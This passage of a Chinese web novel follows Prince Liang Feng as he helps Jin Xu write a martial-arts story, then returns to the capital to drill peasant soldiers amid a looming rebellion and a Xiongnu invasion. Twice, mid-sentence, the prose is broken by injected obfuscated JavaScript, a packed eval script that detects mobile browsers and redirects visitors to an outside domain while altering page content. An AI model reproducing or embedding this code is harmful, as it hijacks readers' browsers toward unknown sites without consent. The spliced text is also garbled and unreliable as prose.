金絮清清的眼瞳看到梁风身上,满溢地笑了笑,狠狠一点头,既而又突然更开心地说:“我想到了一个好点子!就写门派的秘籍被人偷走了!” “可以。”梁风跟着说:“那就写这个落魄门派只剩了三、四个弟子,有一天,一个黑衣蒙面的盗匪把门派秘籍偷走了,然后这几个弟子要从黑衣人手里抢回来。” “就这么写!”金絮一下开心得很,提笔就要落,笔毛还没触到纸面又产生一个问题,“这个门派叫什么名字呢?” “名字么......”他想到神秘的天机阁,便说:“就叫地密阁吧。”梁风觉得自己想到了一个好名字。 “不要,好难听。” “那你自己取。” 梁风拉弓专心射箭,不理她。 金絮小小哼了一哼。 顾琼提议道:“不如就叫落魄门好了。简单直白。” 金絮给了他一个白眼,“那还不如叫醉仙楼。仙字好听。” 顾琼震惊,“你从哪里听来的醉仙楼?!” “你啊。”金絮看着她哥,“你自己不是整天说着醉仙楼醉仙楼什么的吗?” 顾琼震惊得久久说不出话来。 “醉仙楼是个酒楼么?”梁风道:“仙字好听,可是醉字不合适。” “那要叫什么名字好呢?”金絮的眉毛变成了一个八字。 “要不先随便取一个吧,写到后文有合适的名字再改。”梁风建议。 八字眉毛松了松,金絮勉勉强强道:“那只能这样了。”然后自己跑去藤花亭了。 梁风继续练箭,见顾琼也准备拉弓,便问了一句:“醉仙楼是什么地方?” 顾琼一愣,眼神躲躲闪闪,手指开关门一样反复拉弦,“呃,就是一个......品花喝酒的地方。” 梁风哦了声。 之后数天不见金絮,气温更凉了。 即将入冬,早晨起床愈发艰难,有时梁风睡过头,老李也不来叫他,可是睡过了头,这一天也没别事可干。 顾琼变得更懒散了,少提醉仙楼,大部分时候拉着梁风出去玩。梁风有时还会去顾府和顾俨北一起下棋、喝茶、探讨兵书。他仿佛回到了之前刚到太南时错觉自己是来游玩的体验,可以忘了一些事。 他无意发现一个好去处,是座三层高楼,一二层喝酒听曲,三层专为赏景而设。建筑不能与崔记相比,但胜在位置好。楼西面对祈福街,入目熙攘繁华,楼东长泽穿过,河岸山丘林海,东西两色,各成盛景,相得益彰。 他每闲时不想练箭,就跑来这楼上,坐一个时辰。 第一场雪下来,马场覆了白,骑马跑起来不得劲儿了,弓弦也冻硬,拉起来崩手。他每天应付地练完箭,也不想那么委屈自己了。 这天坐在高楼,顾琼也来,还带来了金絮。 “王爷你在这里,啊,你又在偷懒。” 金絮总是随身带着书笔,不是自己拿着,就是身后的丫鬟拿着,她与梁风同席而坐,打开书本正经道:“王爷,我遇到了麻烦。” “什么麻烦?” 顾琼道:“故事写不下去了,我和姑母给她的建议又不听,这几天磨着我来找你。” 梁风看向金絮,金絮书本给他一推,“你看。” 梁风翻看,故事篇幅并不长,一千来个字。开头简要提及门派里有哪些人——这门派叫地密派呢——接着就是一天夜里,镇派秘籍突然被盗,门派里大师姐叫慕红,慕红立即锁定了疑犯,展开追击,没遇险阻地追击到了,然后一番打斗,疑犯被捉,故事就停在这。金絮的问题是不知道那疑犯为了什么而偷盗秘籍。 “好粗糙。”梁风评价。 金絮低下头,看起来有点小哼,却没有不满,只道:“娘亲也这么说。” 梁风笑了,“顾夫人还怎么说?” 金絮却不说了,顾琼道:“姑母建议她不用自己写,而是仿写,照着笑长生的故事摹本仿写。” 梁风又笑,看着金絮道:“这肯定不如你的意。” “嗯!”金絮十分认同地点头,“分明改改,也挺好的嘛。” “那就改改吧。”梁风视线转回书本,“慕红是怎么确认疑犯呢?凭直觉?为什么追击疑犯时一点困难都没有,多少得有点险阻吧。而且把秘籍追回来之后呢,门派怎么重振辉煌?” 金絮脸上一片茫然,明显全无头绪。 梁风想了想道:“不如这样写,现今江湖上盛行耍剑,而地密派的秘籍却是拳脚功夫,两不相容,所以地密派逐渐落寞下去。” 他沉吟片刻又道:“地密派确实不太好听,改叫逍遥派吧。” 顾琼赞同:“逍遥派这个名字我喜欢。” 金絮也喜,“那就这么定了!”既而她又冷静下来,仔仔细细看了书,同梁风道:“可是关键问题还没解决。” 梁风一时半会儿也想不出黑衣人为什么偷秘籍,反问:“这盗贼有名字么?是什么身份?” “没想过......” “那先给他起个名字吧。” “叫什么名字呢?” 梁风越窗而望,满目皆白无绿叶,便道:“不如叫叶青。” 他用金絮的笔写下这两字,金絮点点头,没有不同意,然后她想道:“叶青手下有些小弟,派出去阻拦慕红,慕红就把他们打跑,同时又向江湖其他门派展示了逍遥派的功夫很厉害,于是一步步为门派重新夺回了名声。” “他有小弟的话,是某个门派的掌门吗?” “嗯......那他的身份就是门派掌门了!”说通了,金絮很振奋,接着道:“叶青的门派叫什么名字呢?” 顾琼无聊地打了个哈欠。 “他既然是个坏人,就是邪道了,不如直接叫‘魔教’。” “好,就这样写了!” 但梁风有点犹豫,“可是魔教会不会太厉害了?慕红打得过么?” “她打得过!慕红很厉害的,天下第一女侠!” “可是这样的话,慕红修习的是逍遥派的秘籍吧,她能修得这么厉害,逍遥派的武功还会落魄么?” “啊,可是......王爷,你刚才还说江湖上盛行习剑法,所以逍遥派才会落魄的。” “对啊,因为武林人士都是看哪个功法厉害,所以修哪个的吧。” “那就......这个魔教是个很弱的魔教?” “嗯......好像也只能这样了。” 金絮还是满意地笑了,拉拉快要睡过去的顾琼的袖子,道:“哥,起来啦,回府吃饭去。” 顾琼睁眼,带着金絮回府。走之前,金絮回头同梁风道:“王爷也快点回去吃饭。” 梁风笑了笑,应是。看他们走了,天上飘雪,自己便也回府。 这次讨论之后,金絮那本书,梁风有了点参与感。回府后还特意想了想后续情节该怎么发展,想这书如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839830|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换做笑长生来写,会如何写。 越想,越有种期待,好像写书的感觉也不错。 这么期待着,又在马场见到金絮,梁风便上前看了看。 金絮伏案的脑袋抬起来,唤了声:“王爷。” “写得如何了?” 八字眉毛又竖起,她沮丧道:“一般一般。” 梁风笑着,“上次还有个问题没有解决,”他在对面坐下,“为什么慕红会知道秘籍是被叶青偷的?” 金絮看向他,等他继续说。梁风道:“叶青偷盗秘籍时不小心把魔教令牌掉了出来,被慕红捡到了?于是慕红就知道是魔教的人了。” “啊——坏人做事如此不靠谱么?偷东西还会把自己令牌掉出来?” 梁风一愣,这么一想倒也是。随即他又想到一个问题:“魔教教主会亲自去偷落魄门派的秘籍么?”怎么感觉不合身份。 “好麻烦啊......不过,王爷,我觉得现在不是情节的问题,而是......”金絮丧起个小脸,“我写不出来......” “嗯?怎么就写不出来了?” “就是......魔教......写不出来。”金絮懊恼地揪着笔头,“我不知道魔教是什么样子的,不知道该怎么写。” 梁风这才意识到这个问题,金絮毕竟阅历有限,写不出来也是正常,换作是他,估计也写不出来。 “既然这样,那就换个写法吧,不写魔教了。” “又要重来么......” 梁风不言,默默看着她。 金絮很快自己想通了,笑开道:“那就重来吧,幸好还没写很长。” 她翻到空白页,思索着,“那叶青换什么身份呢?” 梁风同沉思,“他既然会去偷一个落魄门派的秘籍,那他肯定不是出身名门大派,所以他是个小门派里的人。” 她也点头,“而且偷盗是种坏事哦,他肯定不是正派的人。” “还有,慕红既然武功很厉害,那叶青应该偷不成才对。逍遥派里厉害的人只有慕红,一个门派要全部人都厉害才不会落魄。” “那叶青偷的时候他们要打一架,慕红赢了,然后......叶青的功夫怎么样呢?” “他的功夫应当一般吧。”梁风突然有点子了,“那不如这样写,江湖上最近要举办武林大会,慕红想在武林大会上重振逍遥派的名声,而每个门派里的镇派秘籍就是武林大会的邀帖,只有手持秘籍才能参加大会。叶青也想参加,但是他没有秘籍,于是只能去偷了。” 金絮笑起来,“武林大会,很好玩的样子。可是这样的话,叶青就没有门派了。” “对。”梁风点头,“然后叶青没偷成,慕红把他赶了出去。” “那叶青后来怎样了呢?” 原本应该是魔教教主的大反派三言两语变成了一个小配角。 “那要不后面就不写叶青,细写武林大会就好了。” “嗯!也行。”金絮在本子上把叶青划掉。 梁风还有疑惑,“可是这样的话,秘籍被盗取的情节还有必要写么?” 金絮的笔跟着停下,梁风想道:“但是情节又好像单薄了些。” “单薄?”金絮若有所思,试图理解,“怎么样是单薄?” 梁风跟她解释:“比如说《豪侠传》好了,你记得《豪侠传》里的陶瓶吗?” “记得。断了一只手的人。” “对。第三十二回陶瓶在军中为人暗刺而断臂,为了写他心中的不甘与痛苦,前文就要写陶瓶从前的生活,写他为什么断臂会那么生气,因为他把所有希望都寄托在自己与敌人对战的双手之上,然而这双手没了一只,这样剧情就厚了,而且更好看了。就好像一句话的重点要放在后面才讲,说什么之前都得先铺垫铺垫。” “哦——” “不过那样的情节,你可能会写不出来。” “啊......像写不出来魔教那样写不出来吗?” “对。所以文思尽量写简单点的。” “喔——不过王爷你记得好清楚啊。” “什么记得清楚?” “《豪侠传》的故事啊。你都记得每一回讲了什么。” “哦,那倒不是,我比较喜欢陶瓶,有关他的情节就记得清楚。” “王爷你喜欢陶瓶啊,我喜欢真真呢,我还喜欢萧誉。” 梁风笑,“你喜欢真真我倒是猜到了,但是为什么喜欢萧誉?” “因为他很好啊,在他身上风月占一半,豪情占一半,这样的人就是特别好。” 他也点头,“好像顾琼说的,喜欢就是没道理的喜欢。” 这么一说,梁风自己也想通了,赶紧道:“说偏了,回到慕红身上。如果不写叶青,那就着重写慕红,得写她为什么一定要让逍遥派的名声重振武林。” “哦哦,因为她的师父师娘对她很好,这是师父师娘对她的嘱托。” “行,这个理由简单但是很有力,就这么写。” 金絮在本子上唰唰几笔写下记录,梁风捋捋思绪,梳理一下剧情。 “那慕红的师父师娘怎么样的呢?”金絮无意中问出一个关键问题。 梁风一愣,这才发觉前面的情节构思完全忽略了慕红的师父师娘。 “那就写师父师娘身体不好了,所以重振门派辉煌的重任就交给慕红了。” 梁风猛一点头,“那正好,就把师父师娘将这一重任交给慕红作为故事开始。” “嗯!”金絮快速记录,“那故事就是慕红从师父手里接过振兴门派的任务,然后把来偷盗秘籍的叶青赶走,再去武林大会把所有人都打倒,逍遥派重振辉煌,故事就结束了。” “好像叶青偷秘籍这情节变得很多余了。”梁风改而又问:“那慕红是一个人去武林大会的吗?感觉好孤独哦。《豪侠传》里面主人公都有兄弟的。” “肯定有别人陪她吧,逍遥派里总不能只有她和师父师娘三个人吧,慕红也有兄弟,别人有的慕红也都有。”她这么说着,自己也疑惑起来,“可是落魄门派弟子又不能太多......” 梁风念头一闪,“那就把叶青偷盗秘籍的情节改成慕红招收新弟子好了。” “这样好,那新弟子是谁呢?” 梁风停顿思索,金絮手指揪着笔头看他。 “不如就是叶青好了,他偷盗秘籍没成功被慕红捉住,慕红看他身手不错就问他想不想加入逍遥派,叶青就答应了。” 金絮没说话,梁风边想边说:“应当不会有人愿意加入一个落魄门派吧,新弟子可能招收不到。” 金絮恍然,倒也点头,“那这样,叶青就不是坏人了吗?” 梁风看着她的眼睛道:“叶青一定要是坏人吗?” 金絮一想,“好像也不用。”然后笑起来,“那他就是个好人了。” 梁风也笑,随即又想到,“但是他们刚开始会有矛盾的,因为叶青是想偷东西的人,慕红不是很喜欢他,可是又没人会愿意加入落魄门派,所以他们俩一边吵架一边去武林大会。” “好像很好玩。”金絮提笔记录,“那他们两人的结局怎么样呢?” 梁风觉得哪里似乎怪怪的,但一时没头绪,就不多想,故事大体没问题就行了。 金絮在书上写下故事梗概,说道:“叶青是为什么想参加武林大会呢?” “简单点吧,就只是因为他喜欢,他好奇武林大会是什么样子的,想去见识见识。” “喔——我也没有见识过武林大会。”她皱皱眉,“我会写不出来。” “我也没见识过,不过不要紧,写简单点就行了。武林大会应该就类似早朝那样的吧,只是从说话变成打架。写到这一段,我指点你写。” “好!谢谢王爷。” 她雀跃一阵,梁风跟着笑了笑。然后他问:“逍遥派那本秘籍叫什么名字呢?” 金絮想想说:“就叫‘豪拳法’吧,就是‘好拳’的意思。” “行,那就叫《豪拳法》了。” 她写下名字,还问:“逍遥派是不是得有个门派徽印?”她比着衣服道:“绣在衣服上,或者是刻在门上的。” “对,得有一个,表明身份的。”梁风看藤花亭的花都谢了,便问:“不如就用花吧,你喜欢什么花?” 金絮想了想,答:“梅花。” 于是逍遥派的标志就是梅花了。 慕红和叶青的相遇也是在夜晚的梅花树下。 故事架构确定,金絮于是动笔开始写。 之后大概每隔几日金絮就会抽空来马场,带着书笔墨,在藤花亭下坐一个时辰。 有时是顾南蕴或顾俨北陪她来,有时是顾琼,有时是顾家其他人。梁风时不时帮她写两句,修正措辞,确定细微情节走向,保证慕红和叶青两人不会因为吵架吵过头而分道扬镳。 写着写着,冬深了,雪厚了,慕红和叶青两人站在武林大会的擂台上了。 “擂台怎么打?”金絮问。 这段情节梁风老早想好了,直接说:“要展示慕红的威武霸气,她一站在擂台上就说‘你们一个接一个上,若能我把打得移动半分,就算我输!’。” “我喜欢!”金絮喜欢得鼓掌,“然后咧然后咧,她打赢了么?” “那是当然,每一场她都打赢了,而且她不仅打赢了,还让逍遥派威震江湖。这场武林大会之后,再没有人敢轻视逍遥派,或是说轻视拳法,而是对江湖上所有门派武功一视同仁,大家谁都不歧视谁。” 她写下这句话,又问:“那叶青和慕红的结局呢?” “结局就是他们不吵架了,携手同游江湖,把《豪拳派》带去了江湖每一个角落。” 梁风胸中有一股指点江湖的豪气,金絮欢天喜地地为结局鼓掌。 慕红和叶青的形象跟着他们身上越裹越厚的衣服一同丰富,皆大欢喜皆大欢喜,冬日的厚雪都盖不住那冲天的圆满。 96. 《红叶书》(十六) 书成于初春,金絮关于起什么名字想了很久。 最终和梁风一起定为《红叶书》。因为主人公就是慕红和叶青。 成书也有一指那么厚,原本没准备写很长,但金絮不讲究分回断章,全凭手感,每写成一段即分为一回,最后竟然有五十四回之多。 “需要重新攥抄一份么?” 梁风问。写的时候还不觉得,写成之后再看未免太乱了,两种字迹混在一起,还有涂改,写到后面发现前文有需要增删之处就用纸条写好夹在当页中,导致整本书虚厚。 “这书若是给旁人看,想必是看不懂的。” “那就抄一份吧。”金絮倒也无所谓,脸上成天成天地开心。 “王爷,这是我们写成的书呢。”她满怀憧憬,“等我长大了,我一定是下一个笑长生!” “嗯,你一定是下一个笑长生。”梁风也笑应道。 “我去和娘亲说,要用最好的纸!”金絮抱着书本,小跑地走了。 天气暖和了,弓弦不硬了,梁风练箭又殷勤起来。 算算日子,他来太南快一年了。不知越国那边怎样。梁风问过金延守,只说越国那边没什么动静,每月的请安折子如常,但金丞相这么说完之后,反问了他一句箭术练得如何了,梁风便隐隐约约觉得局势应当不像他在太南感受到的这么安宁。 他在金延守上京之后又去了趟天机阁,阁主告诉他,淮南王在越国应当已经一切准备就绪。 梁风回去想了一个晚上,第二天起来就跟同他来太南,并将他每日行程汇报给陛下的那个太监说,他于箭术一道已小有所成,可以准备回京了。 太监什么都没说,揖礼告退。 梁风觉得自己长大了,该面对的事情必须得面对。这一场太南之行,他还是充满感激与怀念的。 又去马场,梁风也不知道自己还能射几次箭,每拉开弓都要当成最后一次。他觉着自己如今的箭术应当有顾俨北三四成功力吧,再练个几年,不知能不能达到他初来太南时顾俨北向他示范的那一箭的威厉。 练空几筒箭,金絮来了。 “王爷,王爷。” 像是专找他来,梁风侧目,“怎么了?” “王爷,娘亲说,书上得有个署名的。”金絮走过来看着他道。 “署名啊,倒是忘了这个。”梁风说:“署名可得好好想。” “是呀,我想以后还继续用这个名字的,可是越慎重越是不知道该怎么起。” 梁风也一起想,“比如寄托你的文思理念?像是笑长生那样。” “哦——”金絮有些许恍然,“原来笑长生是想在书里笑一辈子啊。” “要不要叫‘红叶生’呢?”金絮说:“因为《红叶书》是慕红和叶青的书。” “红叶生写红叶书,可以啊。” 金絮笑起来,“那就这么定了!” 梁风也笑,“你自己有主意,倒也不用凡事来问我。” “可是这书王爷也有参与啊。”金絮两只眼睛看着他道:“下一本书我遇到问题还能问王爷吗?” 梁风一顿,低头答:“我应当很快就回京了,下一次来太南不知道会是什么时候。” 金絮闻言,眨着眼珠子若有所思地打量他,然后一笑,“那王爷,再见喽。” “嗯,再见。” “以后我要是又写成一本,一定寄给你看看。” “好啊。” 没过几日,圣旨下来,召应和王回京。携圣旨下来的人是金延守,这次他只在太南住了一晚,隔日就与梁风一同上京。 再行那条穿山而过的小路,梁风全程配合金丞相赶路,完全不拖后腿,他也很着急知道现在朝堂上是什么情况。 金延守同他说:“王爷,陛下原本是想等淮南王起兵时再召您回京。” 他一愣,等淮南王起兵再召他,那时还会是回京吗?梁风问:“我主动请旨回京,陛下会怎么看?” 金丞相慢慢地说:“陛下还是高兴的。” “陛下会下旨让我阻拦淮南王吗?” 金延守沉默片刻,才道:“会。” 梁风低下头,安静听着车轱辘与风声。 静了似乎许久,金延守侧目看向他问:“若陛下命您带兵征伐淮南王,您会愿意吗?” 梁风还是点了头,与金丞相回视,“不为淮南王,不为母亲,我只是觉得,不能这样做。” 金延守不再说话,梁风又问:“如果淮南王失败了会怎么样?” “难免一死。” “那如果......” 他止住,想了想还是不问的好。 “王爷想问如果淮南王成功了会如何?”金延守却看穿他所想。 梁风不言语,金丞相自答:“如果他成功了,就是朝堂上的其他人,难免一死。” 梁风无言下去。 金延守看向远方山景,说:“即便他成功,将来的日子,淮南王绝无可能安心。” 很快抵京,梁风面圣后隔日便上朝,朝堂的忙乱让他大感震惊。 他才知道,大周如今面临的局势,最严峻的不仅仅是淮南王,还有各地水患、旱灾,从前治水的大臣几年前去世,水患问题压了些年才爆发出来。 梁风只在书上看到过水患灾情,不懂得如何治理。皇帝眼下也无暇处理水患,安置灾民才是关键。 这些事情梁风管不着,他一入朝,梁究便破格升了他的军衔,升为右将军,调置太尉麾下,与太尉和崔固一起商量对付淮南王的法子。主要针对淮南王手下的林怒和赵横。 梁风大小居然也是个将军了,师出林、赵,对林、赵带兵的强弱点有一定了解,他说的话,竟能让崔固正视。 然而梁风很苦恼。 “可我知道得并不多,我在越国时没有亲见过林、赵带兵,类似的操练指挥淮南王全让我避开了,我最多只知道他二人在近身打斗上的弱点。” 围着沙盘模型,众人看着他沉默。 沉默许久,太尉叹息一声,口齿不清地说:“大周缺良将啊。” 梁风也这么觉得,目前最大的问题还不在对敌人缺乏了解上面,而是缺良将。 此时的大周军营中能被称上一声“将军”的人全在这了。其中只有崔固与太尉作战经验丰富,然而崔固更多是与匈奴对阵,太尉年已九十四岁,去年被梁究强令召回军中任命,上阵甚至不一定握得住刀。 其余人只有梁风、金诚金诺与崔固长子崔敬先、太尉儿子,还有前年战死的贺兰将军儿子,这都是没有杀过人、空有一身武艺和只会纸上谈兵的后辈。 梁风满脑子只有一句俗语:赶鸭子上架。 “越国有多少兵力?”金诚问。 崔固摇头,“这一年多来,朝廷派去越国做三公的人全都死在了半路,陛下至今不知越国到底有多少兵力。” “那大周呢?”梁风问。 “大周现如今兵力只有七万。” “那么少?” 崔固侧目向他看来,只说:“匈奴。” 梁风恍然,前两年匈奴大肆来犯,崔固和贺兰将军带兵征伐,贺兰将军战死,崔固携残军追至西北,虽暂时击退匈奴,但自身元气大伤。 他记得,就是那年,梁戟决定杀死周敦。 现状似乎无解,只能兵来将挡。 几日后早朝,金延守以大周缺乏兵力为由,建议征灾民入军,紧急训练。 皇帝允了。 梁风忙了起来,他手下都是崔固调给他的人做帮手,熟悉军务,事无巨细地辅助他。梁风一边每日接受调拨来的新兵,一边学习如何带兵操练、分管粮草。 这些新兵不太听话,每日只吃饭最积极。梁风看他们枯瘦的身体,想将他们喂饱,饿着肚子也挥不动刀枪,便任由他们吃喝。 不出几日,早朝上大司农对灾民构成的军队起了异议,指责他们吃得太多,所耗钱粮太大。 军营里只有梁风能上朝,指斥与罪责纷纷一齐攻向了他。 之前他总默默无闻站在角落,突然被指指点点地推倒台前,梁风措手不及,不知应对。 起初一两次,他看着皇帝的脸色,应承下了这些指责,结果就是大司农再调来的军粮直接少了一半,梁风大怒,隔日当朝与大司农发火。 他怒火甚嚣,但在皇帝注视下也不敢真的把火发出来,只能在心里嚣张,面上与大司农怒眼相对。 待至大司农禀上,他才知,这时民间赋税已高至五税一。 太尉与崔固接连上折,调停止息,皇帝才下旨军粮改为原先的八成。 崔固私下告诉梁风,国库空虚,大司农不满已久。 梁风还是气,“民间收税那么高,为什么还会国库空虚?” “因为收上来的税都进了他们文官的腰包。”崔固直言不讳。 梁风却是愣了,第一反应是环顾四周,确保无人听见这话。 他夜里思考了很久,觉得大司农有理,崔固说的也有理,他还意识到,其实更多的钱财是在顾氏与崔记这样的富商大贾手里。他脑子很乱,说不清楚。 再次上朝,梁风为钱粮一事跟大司农道歉,大司农接受了。下朝后,金延守来提醒他,说道歉的话不必在朝会时讲,私下写封信件就可以。 梁风有点明白,应下金丞相的教导,但又不想多管,随性想怎么说就怎么说了,反正他之前几乎没有在朝会说过话,就当他初生牛犊吧。 越来越多的新兵涌入,金延守暂停征招民兵,这时的军营里已什么样的人都有,五湖四海、杂七杂八的方言吵得像市集。梁风还听不懂,想找个人发布军令消息都传不下去。更有人在营中借此偷机耍滑,白蹭军粮。 梁风发现时更生气了,将那人狠狠训斥了一顿,直到崔固闻讯赶来,二话不说便下令将那人以军律杖杀。 看着那人嘶喊求赦地被拖下去,梁风虽惊,倒也没被吓到,莫名想起那年梁戟为他挡了一箭后也是下令把那小兵杀死了。 崔固告诉他,眼下更重要的是这些农民兵的训练问题。 梁风便收心,全身心地做好一个将军该处理的军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839831|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务。 太尉无暇理事,崔固和梁风商量后,决定尝试用战鼓代替军旗进行军阵指挥。 农民在做农活时多专注于手上活计,很少抬头,习惯上不会注意四周环境,军旗的信号容易忽略,无暇顾及。梁风便建议改用战鼓,新兵只需留神听鼓声号令,这样也可避免军旗过多遮挡视线的问题。 崔固打匈奴多带精骑,数量少,举刀扯嗓子大声一吼,全军队都能知道是什么意思,不用操心旗帜、鼓声之类,便觉得此法可行,写了折子呈上。 圣上批复可。 梁风便安心在军中练兵。 再上早朝,却听闻了令他震惊的事情。 金延守说起越国送来的折子中提到了因如今税收过高,越国百姓不堪重负,纷纷表达对朝廷不满的现状。 丞相又说,自应和王从越国上京后,淮南王便在每月折子里时不时隐晦地说明朝贡所需过大,国内难堪压力。 话语并非指责,只是陈述,末尾却往往会提一句希望能得到改缓的说辞。 起初只笼统地说贡物需量过大,后来慢慢详细到牲畜肉禽、木材金属、兽皮象牙等具体事物上的贡需,再一一列出越国国内这些贡物的产销情况,做出对比。上呈的折子越来越厚,各项数目占据大篇幅。 直到上月淮南王的折子中,才明确说了民怨即将逼至檀宫。 淮南王自言百姓疾苦,心痛万分,甚至在折子中直接提出欲扩招兵力保卫檀宫的请求,以及猜测若是檀宫失守,那些叛民极可能进一步逼至京城未央宫。 梁戟这是威胁。 皇帝震怒,当朝昭揭淮南王居心不良。 梁风心下诧异,不知道还有这一茬,怀疑二哥是想以越国百姓作为出兵的借口,而且是早在他刚上京时就在做准备了。 此时有大臣提议,绝不能松贡,反而要下旨对淮南王严加警告。 另有大臣反驳,说此举极易招致其触底反弹。 梁风却想到,从前他在越国的那几年倒是没察觉越国的处境很艰难。 皇帝突然出声询问应和王意见。 梁风站出只说,安抚为上。 嘴上这么说,梁风知道安抚没用的,二哥筹划了十几年,不可能安抚一下就放弃。 皇帝最终没有下令安抚,保持现状,因为一旦对越国松贡,会招致其他郡国不满。 四月春深,淮南王折子内容一再紧逼。 朝上大臣争吵越发激烈,问责追究到了淮南王初赴越国那几年,说朝廷对越国的待遇过于严苛了,不然也不会把出兵的借口白白送给了淮南王。 这些大臣吵得快要打起来,奈何膘肥体圆,有心无力。 五月初,皇帝下旨,越国朝贡减半。 五月中旬,没等来淮南王动静的消息,却传来了匈奴再次带兵进犯的军报。 满朝哗然。 梁风瞬间紧张起来。 在官员争论是否和亲时,梁风在想要不要自请抗击匈奴。 除了还是有一点点私心不希望和二哥正面对上外,另一原因是现在军中不能没有崔固。他怕陛下让崔固带兵去打匈奴,那朝中就只有他一人了。 朝臣正议论陛下有哪位适龄公主,说到九公主时,梁风站出殿央下跪,请圣上下旨命他带兵征伐匈奴。 群臣骤寂,陛下当机立断驳回,没有半点犹豫,看他的眼神沉了沉。 梁风心下凉了一半,只能站回队列中,听旁人议定九公主送去和亲。 然而,匈奴使臣拒绝和亲,且不留半分余地。 整场朝会,皇帝的神情又肃又怒,半分没有松动。 梁风欲再次请旨带兵,崔固这时却上了折子,自请伐匈。 陛下立刻下旨批允,谴兵四万,崔固接旨后随即着手开始筹备粮草辎重。 下旨派崔固带兵抗匈的同时,军营中贺兰将军的儿子没立任何军功的情况下升衔,升为左将军。 四万兵力的筹集需要十天左右,这期间,北方一座县城被匈奴夺下。崔固一边筹措军资,一边还要跟梁风交接军务。 梁风想不通,“为什么陛下不让我去?” 崔固命人再抱来一堆文书,回首直视他的目光,“王爷觉得,淮南王在与您对阵时,心中会不会也有一丝犹豫?” 梁风愣住。 崔固又问:“或是不忍?” 梁风压不住心底浮起的那一点点希望,可是连他自己都不信,“淮南王若是会对我犹豫,为什么对陛下不会?我不相信陛下真的认为淮南王会对我心存不忍。” “但是陛下没得选。”崔固神色不动,“这是金丞相的提议。” “如果我没拦住淮南王呢?” “您如果拦不住,其他人便都拦不住。” 梁风怔了怔,崔固问:“右将军,你能确保你一定击退匈奴吗?若是不能,匈奴来犯之下,任何人的顾虑都不值一提。” 梁风默叹,只说:“我知道。将领的职责,是保卫大周。” 数日后军备筹集,梁风看着崔固带兵气势磅礴地开拔。 97. 《红叶书》(十七) 名义上军中坐镇的人是太尉,但太尉眼睛花得字都看不清,于是大部分军务堆积到了梁风案上。 粮饷兵器、马政驻防、城卫指挥、京畿巡营,虽然有崔敬先他们辅佐,但梁风还是忙得快崩溃了。 他尚不够熟悉军务,怕自己犯错,凡事尽可能亲自过问。 一早天不亮就起来,查看前夜城防军送来的谍报后调兵更换驻防,辰时后练兵,午时后监视水利与殿宇修筑,傍晚检查新炼武备,入夜后巡视京畿,夜深批复剩余军报,几乎日日睡在军营。 加之那群新征来的农民兵看到换了个首领又有不安分迹象,军营中不信服他的言论愈烈。 梁风心里压力越来越大,可是一旦停下来,想到即将面临的局势顿觉紧张不已,不知二哥会不会趁这时发兵,一面还要等着崔固传来军报,祈祷崔固能尽快凯旋。 时日长了,每日想睡睡不着,明明饿得要死,却没胃口吃饭,只惦记着样样事情在等他批复。 可他万分小心,还是犯了错。在一连熬了数夜后,送上来的军报中他眼花改错了一个数目,将一辆战车上装置的铜器看成了铁器,铜比铁重,原本一车最多装载五百斤生铜,他将五百斤改成了铁器的上限五百五十斤,导致战车路过驯马营时,轮子被路边石子一颠,那超载五十斤的缚铜索不堪重负,绷断了,飞出去的生铜刺穿了旁边两名士兵的大腿,还压残了数匹战马。 梁风知道后脑子差点晕掉,立即写折子呈上。 问题不小,波及到的不止是两名士兵。马匹虽可以另购补足,但寻常马跟不上战马的体能与力量,打仗时跑起来,阵脚轻易会乱。 军营中的风气就是唯将领命是从,梁风既然批复了许可,底下人在装车时便不疑有他,一切按军令行事,没想到造成此种后果。 圣上阅后命人一查,才得知是那辆战车的缚铜索年久磨损,十分旧了,不然只这一次超重也不至于绷断,圣上便判定为意外。 最后是底下人替他担了责任,罚了月俸,没施以严惩。 不以严惩的后果就是这件事在军营中传开了,反响恶劣,那两名士兵虽没死,农民兵却开始为自己一条贱命是否得到重视而感到恐慌,攻讦梁风的声音喧嚣起来。 梁风彻底睡不着了,他感觉自己是那条绳子,还没磨损,就已经快断了。 不等事情更闹大,梁风在集训时公开承认错误,不试图求得原谅,只希望君臣民兵仍能团结一心。 民兵吵吵嚷嚷,得寸进尺,梁风独自站在人群面前,正面承受。 好在农民兵易怒,也容易息怒,梁风尽心安抚好那两名伤员,从府中调银钱改善伙食,再三保证此类事情绝不会再次发生,民兵们的喧嚣才渐渐下去。 夜里,事情终于全部收尾妥当。梁风一人回到营帐中,身上的铠甲真是太重了,压得喘不过气,他深深呼吸几次,拿了卷军报看,看着看着发了呆。 帘帐掀起一角,吹入的夜风熄了一盏烛火。 光线半暗,梁风回了神,眨眨眼,脑仁儿有点累。 写完今日的折子,出帐准备送去未央宫,今晚送去,明日一早才能送抵圣上龙案。 帐外,正好遇到崔敬先走来。 梁风问:“什么事情?” “没什么事。”崔敬先笑着走近,眼睛在梁风脸上转了转,“就是来和将军说,白天那些农民兵说的话不用放在心上。” 梁风恍了神,崔敬先看到他手上捏着的奏折,也从袖里拿出一封家书,“正好,我也有信要寄。” 两人便同去军中设置的官驿,梁风有些捉摸不定,拿不准崔敬先背后是不是崔固,这个时候来说这话是为了什么。 四周火把不少,崔敬先神情看得清晰,时不时瞄梁风两眼,似乎心里也在揣摩,梁风更加莫名了。 